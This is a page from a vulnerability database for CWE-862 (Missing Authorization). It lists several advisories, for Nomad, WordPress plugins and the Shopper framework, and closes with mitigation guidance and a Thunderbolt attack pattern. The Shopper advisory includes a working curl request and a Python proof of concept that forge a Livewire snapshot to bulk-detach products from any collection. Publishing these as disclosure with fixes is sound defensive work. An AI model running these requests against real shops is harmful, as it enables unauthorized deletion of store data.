Common Weakness Enumeration
CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
19587 vulnerabilities reference this CWE, most recent first.
GHSA-2CC5-JJC3-X9FW
Vulnerability from github – Published: 2026-07-08 21:30 – Updated: 2026-07-08 21:30
VLAI
Details
HashiCorp Nomad and Nomad Enterprise did not enforce the allow_privileged restriction for the Docker task driver's host namespace mode options. This may allow an authenticated job submitter to run a container in a host namespace and access information belonging to the host or to other workloads on the same client. This vulnerability, CVE-2026-14373, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.
Severity
7.7 (High)
{
"affected": [],
"aliases": [
"CVE-2026-14373"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T20:16:48Z",
"severity": "HIGH"
},
"details": "HashiCorp Nomad and Nomad Enterprise did not enforce the allow_privileged restriction for the Docker task driver\u0027s host namespace mode options. This may allow an authenticated job submitter to run a container in a host namespace and access information belonging to the host or to other workloads on the same client. This vulnerability, CVE-2026-14373, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.",
"id": "GHSA-2cc5-jjc3-x9fw",
"modified": "2026-07-08T21:30:27Z",
"published": "2026-07-08T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14373"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2026-19-nomad-docker-driver-vulnerable-to-host-namespace-bypass-on-linux/77557"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CCG-WG7C-5JPH
Vulnerability from github – Published: 2026-10-15 21:36 – Updated: 2026-10-15 21:36
VLAI
Details
Missing Authorization vulnerability in WP Sunshine Sunshine Photo Cart sunshine-photo-cart allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sunshine Photo Cart: from n/a through 3.7.4.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-109689"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-15T19:17:21Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WP Sunshine Sunshine Photo Cart sunshine-photo-cart allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sunshine Photo Cart: from n/a through 3.7.4.",
"id": "GHSA-2ccg-wg7c-5jph",
"modified": "2026-10-15T21:36:02Z",
"published": "2026-10-15T21:36:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109689"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/sunshine-photo-cart/vulnerability/wordpress-sunshine-photo-cart-plugin-3-7-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CFP-2PMR-56X9
Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2026-04-01 18:33
VLAI
Details
Missing Authorization vulnerability in mikemmx Super Block Slider allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Super Block Slider: from n/a through 2.7.9.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-24682"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T18:15:41Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in mikemmx Super Block Slider allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Super Block Slider: from n/a through 2.7.9.",
"id": "GHSA-2cfp-2pmr-56x9",
"modified": "2026-04-01T18:33:26Z",
"published": "2025-01-24T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24682"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/super-block-slider/vulnerability/wordpress-super-block-slider-plugin-2-7-9-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CG9-97GQ-9MQP
Vulnerability from github – Published: 2026-09-11 21:31 – Updated: 2026-09-11 21:31
VLAI
Summary
Shopper: Missing authorization on product removal actions in CollectionProducts component
Details
Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;
// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
Action::make('delete')
->label(__('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->iconButton()
->color('danger')
->requiresConfirmation()
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
$this->dispatch('collection.add.product');
Notification::make()
->title(__('shopper::pages/collections.remove_product'))
->success()
->send();
}),
])
// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
DeleteBulkAction::make()
->label(__('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->requiresConfirmation()
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
$this->dispatch('collection.add.product');
Notification::make()
->title(__('shopper::pages/collections.remove_product'))
->success()
->send();
})
->deselectRecordsAfterCompletion(),
])
Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).
SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
# substituting collection ID 5 in the component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
"updates": {},
"calls": [{
"path": "",
"method": "callBulkAction",
"params": ["delete", [1, 2, 3, 4, 5]]
}]
}]
}'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
# regardless of the caller having only browse_collections.
Proof of concept
#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE value of the laravel_session cookie
XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT_ID Livewire component snapshot ID (from page source)
COLLECTION_ID integer ID of the target collection
PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3")
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
component_id = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component_id,
'data': {'collection': collection_id},
'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callBulkAction',
'params': ['delete', product_ids],
}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.
Suggested fix
// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution
public Collection $collection;
// Per-record action:
Action::make('delete')
->authorize('edit_collections') // add this
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
// ...
}),
// Bulk action:
DeleteBulkAction::make()
->authorize('edit_collections') // add this
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
// ...
})
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopper/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56825"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T21:31:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make(\u0027delete\u0027)` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `-\u003eauthorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no -\u003eauthorize(...)\n-\u003erecordActions([\n Action::make(\u0027delete\u0027)\n -\u003elabel(__(\u0027shopper::forms.actions.delete\u0027))\n -\u003eicon(Untitledui::Trash03)\n -\u003eiconButton()\n -\u003ecolor(\u0027danger\u0027)\n -\u003erequiresConfirmation()\n -\u003eaction(function (Product $record): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n $this-\u003edispatch(\u0027collection.add.product\u0027);\n Notification::make()\n -\u003etitle(__(\u0027shopper::pages/collections.remove_product\u0027))\n -\u003esuccess()\n -\u003esend();\n }),\n])\n\n// Lines 91-105 - bulk remove action, no -\u003eauthorize(...)\n-\u003egroupedBulkActions([\n DeleteBulkAction::make()\n -\u003elabel(__(\u0027shopper::forms.actions.delete\u0027))\n -\u003eicon(Untitledui::Trash03)\n -\u003erequiresConfirmation()\n -\u003eaction(function (EloquentCollection $records): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck(\u0027id\u0027)-\u003etoArray());\n $this-\u003edispatch(\u0027collection.add.product\u0027);\n Notification::make()\n -\u003etitle(__(\u0027shopper::pages/collections.remove_product\u0027))\n -\u003esuccess()\n -\u003esend();\n })\n -\u003edeselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n# substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n -H \"Content-Type: application/json\" \\\n -H \"X-XSRF-TOKEN: $XSRF\" \\\n -H \"Cookie: $SESSION\" \\\n -H \"X-Livewire: 1\" \\\n -d \u0027{\n \"components\": [{\n \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n \"updates\": {},\n \"calls\": [{\n \"path\": \"\",\n \"method\": \"callBulkAction\",\n \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n }]\n }]\n }\u0027\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n# regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n BASE_URL e.g. http://localhost\n SESSION_COOKIE value of the laravel_session cookie\n XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie\n COMPONENT_ID Livewire component snapshot ID (from page source)\n COLLECTION_ID integer ID of the target collection\n PRODUCT_IDS comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ[\u0027BASE_URL\u0027]\nsession = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id = os.environ[\u0027COMPONENT_ID\u0027]\ncollection_id = int(os.environ[\u0027COLLECTION_ID\u0027])\nproduct_ids = [int(x) for x in os.environ[\u0027PRODUCT_IDS\u0027].split(\u0027,\u0027)]\n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n \u0027X-XSRF-TOKEN\u0027: xsrf,\n \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n \u0027id\u0027: component_id,\n \u0027data\u0027: {\u0027collection\u0027: collection_id},\n \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n \u0027components\u0027: [{\n \u0027snapshot\u0027: snapshot,\n \u0027updates\u0027: {},\n \u0027calls\u0027: [{\n \u0027path\u0027: \u0027\u0027,\n \u0027method\u0027: \u0027callBulkAction\u0027,\n \u0027params\u0027: [\u0027delete\u0027, product_ids],\n }]\n }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked] // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make(\u0027delete\u0027)\n -\u003eauthorize(\u0027edit_collections\u0027) // add this\n -\u003eaction(function (Product $record): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n // ...\n }),\n\n// Bulk action:\nDeleteBulkAction::make()\n -\u003eauthorize(\u0027edit_collections\u0027) // add this\n -\u003eaction(function (EloquentCollection $records): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck(\u0027id\u0027)-\u003etoArray());\n // ...\n })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-2cg9-97gq-9mqp",
"modified": "2026-09-11T21:31:26Z",
"published": "2026-09-11T21:31:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-2cg9-97gq-9mqp"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopperlabs/shopper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Shopper: Missing authorization on product removal actions in CollectionProducts component"
}
GHSA-2CGR-RV3R-G9VW
Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35
VLAI
Details
Missing Authorization vulnerability in Genetech Pie Register Premium.This issue affects Pie Register Premium: from n/a before 3.8.3.3.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-52391"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T14:15:11Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Genetech Pie Register Premium.This issue affects Pie Register Premium: from n/a before 3.8.3.3.",
"id": "GHSA-2cgr-rv3r-g9vw",
"modified": "2026-04-28T21:35:22Z",
"published": "2024-12-09T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52391"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/pie-register-premium/vulnerability/wordpress-pie-register-premium-plugin-3-8-3-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CGW-VJ45-MQQ4
Vulnerability from github – Published: 2026-08-03 09:32 – Updated: 2026-08-03 18:30
VLAI
Details
The ProfileGrid WordPress plugin before 6.0.0.0 does not perform authorization checks when listing a group's pending membership requests, allowing any authenticated user such as a Subscriber to disclose the names and request dates of the users awaiting approval to join any group, including private ones.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-16289"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T07:16:41Z",
"severity": "MODERATE"
},
"details": "The ProfileGrid WordPress plugin before 6.0.0.0 does not perform authorization checks when listing a group\u0027s pending membership requests, allowing any authenticated user such as a Subscriber to disclose the names and request dates of the users awaiting approval to join any group, including private ones.",
"id": "GHSA-2cgw-vj45-mqq4",
"modified": "2026-08-03T18:30:42Z",
"published": "2026-08-03T09:32:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16289"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/815a2245-6477-42a1-b08a-fa308a830be3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CH7-9RHX-4C28
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 21:30
VLAI
Details
Missing Authorization vulnerability in Wisernotify team WiserReview Product Reviews for WooCommerce wiser-review allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WiserReview Product Reviews for WooCommerce: from n/a through <= 2.9.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-25318"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:16Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Wisernotify team WiserReview Product Reviews for WooCommerce wiser-review allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WiserReview Product Reviews for WooCommerce: from n/a through \u003c= 2.9.",
"id": "GHSA-2ch7-9rhx-4c28",
"modified": "2026-02-19T21:30:44Z",
"published": "2026-02-19T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25318"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wiser-review/vulnerability/wordpress-wiserreview-product-reviews-for-woocommerce-plugin-2-9-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CHH-FCWM-P667
Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 21:30
VLAI
Details
Missing Authorization vulnerability in AdAstraCrypto Cryptocurrency Donation Box – Bitcoin & Crypto Donations cryptocurrency-donation-box allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cryptocurrency Donation Box – Bitcoin & Crypto Donations: from n/a through <= 2.2.13.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-39691"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T09:16:41Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in AdAstraCrypto Cryptocurrency Donation Box \u2013 Bitcoin \u0026 Crypto Donations cryptocurrency-donation-box allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cryptocurrency Donation Box \u2013 Bitcoin \u0026 Crypto Donations: from n/a through \u003c= 2.2.13.",
"id": "GHSA-2chh-fcwm-p667",
"modified": "2026-04-13T21:30:36Z",
"published": "2026-04-08T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39691"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/cryptocurrency-donation-box/vulnerability/wordpress-cryptocurrency-donation-box-bitcoin-crypto-donations-plugin-2-2-13-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CJC-6XRH-7W5Q
Vulnerability from github – Published: 2025-01-07 18:30 – Updated: 2026-04-01 18:33
VLAI
Details
Missing Authorization vulnerability in ThemeSupport Hide Category by User Role for WooCommerce.This issue affects Hide Category by User Role for WooCommerce: from n/a through 2.1.1.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-56272"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T17:15:31Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in ThemeSupport Hide Category by User Role for WooCommerce.This issue affects Hide Category by User Role for WooCommerce: from n/a through 2.1.1.",
"id": "GHSA-2cjc-6xrh-7w5q",
"modified": "2026-04-01T18:33:05Z",
"published": "2025-01-07T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56272"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/hide-category-by-user-role-for-woocommerce/vulnerability/wordpress-hide-category-by-user-role-for-woocommerce-plugin-2-1-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2CJX-JPG9-5GQM
Vulnerability from github – Published: 2024-10-01 09:30 – Updated: 2026-04-08 18:33
VLAI
Details
The KB Support – WordPress Help Desk and Knowledge Base plugin for WordPress is vulnerable to unauthorized modification and loss of data due to a missing capability check on several functions in all versions up to, and including, 1.6.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform multiple administrative actions, such as replying to arbitrary tickets, updating the status of any post, deleting any post, adding notes to tickets, flagging or unflagging tickets, and adding or removing ticket participants.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2024-8548"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-01T08:15:03Z",
"severity": "HIGH"
},
"details": "The KB Support \u2013 WordPress Help Desk and Knowledge Base plugin for WordPress is vulnerable to unauthorized modification and loss of data due to a missing capability check on several functions in all versions up to, and including, 1.6.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform multiple administrative actions, such as replying to arbitrary tickets, updating the status of any post, deleting any post, adding notes to tickets, flagging or unflagging tickets, and adding or removing ticket participants.",
"id": "GHSA-2cjx-jpg9-5gqm",
"modified": "2026-04-08T18:33:37Z",
"published": "2024-10-01T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8548"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L138"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L172"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L211"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L240"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L458"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L531"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L580"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L605"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L630"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L649"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L801"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/kb-support/trunk/includes/ajax-functions.php#L869"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3164784%40kb-support\u0026new=3164784%40kb-support\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5fb90b3b-08bd-4887-a6bf-054b42d3e403?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Architecture and Design
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration
Installation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.